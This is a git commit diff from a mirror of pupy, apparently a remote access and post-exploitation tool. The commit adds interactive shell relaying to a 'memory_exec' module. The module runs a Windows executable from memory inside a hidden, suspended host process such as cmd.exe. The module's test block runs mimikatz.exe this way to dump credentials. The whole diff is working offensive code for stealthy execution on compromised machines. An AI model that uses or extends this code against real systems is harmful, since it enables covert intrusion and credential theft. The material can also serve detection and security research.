mirror of https://github.com/n1nj4sec/pupy.git
handle interactive stdin for memory exec
This commit is contained in:
parent
ebe5d36029
commit
c9e5ca7202
|
@ -17,6 +17,7 @@ from pupylib.PupyModule import *
|
|||
from pupylib.PupyCompleter import *
|
||||
from pupylib.utils.pe import get_pe_arch
|
||||
from pupylib.PupyErrors import PupyModuleError
|
||||
from pupylib.utils.rpyc_utils import redirected_stdio
|
||||
|
||||
__class_name__="MemoryExec"
|
||||
|
||||
|
@ -31,7 +32,7 @@ class MemoryExec(PupyModule):
|
|||
self.arg_parser = PupyArgumentParser(prog="memory_exec", description=self.__doc__)
|
||||
self.arg_parser.add_argument('-p', '--process', default='cmd.exe', help='process to start suspended')
|
||||
self.arg_parser.add_argument('--fork', action='store_true', help='fork and do not wait for the child program. stdout will not be retrieved', completer=path_completer)
|
||||
self.arg_parser.add_argument('--interactive', action='store_true', help='interactive with the new process stdin/stdout')
|
||||
#self.arg_parser.add_argument('-i', '--interactive', action='store_true', help='interactive with the new process stdin/stdout')
|
||||
self.arg_parser.add_argument('path', help='path to the exe', completer=path_completer)
|
||||
self.arg_parser.add_argument('args', nargs='*', help='optional arguments to pass to the exe')
|
||||
|
||||
|
@ -47,10 +48,6 @@ class MemoryExec(PupyModule):
|
|||
self.log(res)
|
||||
|
||||
def run(self, args):
|
||||
if args.interactive:
|
||||
#TODO
|
||||
self.error("interactive memory execution has not been implemented yet")
|
||||
return
|
||||
|
||||
#check we are injecting from the good process arch:
|
||||
pe_arch=get_pe_arch(args.path)
|
||||
|
@ -59,25 +56,27 @@ class MemoryExec(PupyModule):
|
|||
self.error("%s is a %s PE and your pupy payload is a %s process. Please inject a %s PE or first migrate into a %s process"%(args.path, pe_arch, proc_arch, proc_arch, pe_arch))
|
||||
return
|
||||
|
||||
|
||||
wait=True
|
||||
redirect_stdio=True
|
||||
if args.fork:
|
||||
wait=False
|
||||
redirect_stdio=False
|
||||
|
||||
raw_pe=b""
|
||||
with open(args.path,'rb') as f:
|
||||
raw_pe=f.read()
|
||||
|
||||
self.client.load_package("pupymemexec")
|
||||
self.client.load_package("pupwinutils.memexec")
|
||||
|
||||
res=""
|
||||
self.mp=self.client.conn.modules['pupwinutils.memexec'].MemoryPE(raw_pe, args=args.args, hidden=True, redirect_stdio=redirect_stdio)
|
||||
self.mp.run()
|
||||
while True:
|
||||
if self.mp.wait(1):
|
||||
break
|
||||
if not args.fork:
|
||||
with redirected_stdio(self.client.conn):
|
||||
self.mp.get_shell()
|
||||
self.mp.close()
|
||||
res=self.mp.get_stdout()
|
||||
self.log(res)
|
||||
#res=self.mp.get_stdout()
|
||||
#self.log(res)
|
||||
|
||||
|
||||
|
|
|
@ -21,13 +21,20 @@ import ctypes
|
|||
from ctypes.wintypes import DWORD
|
||||
import traceback
|
||||
import time
|
||||
import threading
|
||||
|
||||
WAIT_TIMEOUT=0x00000102
|
||||
|
||||
def ReadFile(handle, desired_bytes, ol = None):
|
||||
def WriteFile(handle, data):
|
||||
c_writen = DWORD()
|
||||
buffer = ctypes.create_string_buffer(data)
|
||||
if not ctypes.windll.kernel32.WriteFile(handle, buffer, len(data), ctypes.byref(c_writen), None):
|
||||
raise ctypes.WinError()
|
||||
|
||||
def ReadFile(handle, max_bytes):
|
||||
c_read = DWORD()
|
||||
buffer = ctypes.create_string_buffer(desired_bytes+1)
|
||||
success = ctypes.windll.kernel32.ReadFile(handle, buffer, desired_bytes, ctypes.byref(c_read), ol)
|
||||
buffer = ctypes.create_string_buffer(max_bytes+1)
|
||||
success = ctypes.windll.kernel32.ReadFile(handle, buffer, max_bytes, ctypes.byref(c_read), None)
|
||||
if not success:
|
||||
last_error=ctypes.windll.kernel32.GetLastError()
|
||||
if last_error==0x6D:#ERROR_BROKEN_PIPE
|
||||
|
@ -48,8 +55,11 @@ class MemoryPE(object):
|
|||
self.hidden=hidden
|
||||
self.hProcess=None
|
||||
self.rpStdout=None
|
||||
self.EOF=threading.Event()
|
||||
|
||||
def close(self):
|
||||
#Killing the program if he is still alive
|
||||
ctypes.windll.kernel32.CloseHandle(self.rpStdout)
|
||||
ctypes.windll.kernel32.TerminateProcess(self.hProcess, 1);
|
||||
ctypes.windll.kernel32.CloseHandle(self.hProcess)
|
||||
|
||||
|
@ -74,14 +84,42 @@ class MemoryPE(object):
|
|||
return ""
|
||||
#Closing the write handle to avoid lock:
|
||||
ctypes.windll.kernel32.CloseHandle(self.rpStdout)
|
||||
|
||||
fulldata=b""
|
||||
while True:
|
||||
data=ReadFile(self.pStdout, 2048)
|
||||
if not data:
|
||||
self.EOF.set()
|
||||
break
|
||||
fulldata+=data
|
||||
return fulldata
|
||||
|
||||
def write_stdin(self, data):
|
||||
WriteFile(self.pStdin, data)
|
||||
|
||||
def get_shell(self):
|
||||
t=threading.Thread(target=self.loop_read)
|
||||
t.daemon=True
|
||||
t.start()
|
||||
try:
|
||||
while True:
|
||||
data=raw_input()
|
||||
self.write_stdin(data+"\n")
|
||||
if data=="exit":
|
||||
break
|
||||
if self.EOF.is_set():
|
||||
break
|
||||
finally:
|
||||
self.close()
|
||||
|
||||
def loop_read(self):
|
||||
while True:
|
||||
data=ReadFile(self.pStdout, 2048)
|
||||
sys.stdout.write(data)
|
||||
sys.stdout.flush()
|
||||
if not data:
|
||||
break
|
||||
|
||||
def run(self):
|
||||
hProcess, pStdin, pStdout, rpStdin, rpStdout = pupymemexec.run_pe_from_memory(self.cmdline, self.raw_pe, self.redirect_stdio, self.hidden)
|
||||
self.pStdout=pStdout
|
||||
|
@ -96,7 +134,7 @@ if __name__=="__main__":
|
|||
with open("mimikatz.exe",'rb') as f:
|
||||
mpe=MemoryPE(f.read())
|
||||
mpe.run()
|
||||
mpe.wait(5)
|
||||
mpe.close()
|
||||
print mpe.get_stdout()
|
||||
raw_input()
|
||||
mpe.get_shell()
|
||||
#mpe.wait(5)
|
||||
#mpe.close()
|
||||
#print mpe.get_stdout()
|
||||
|
|
Loading…
Reference in New Issue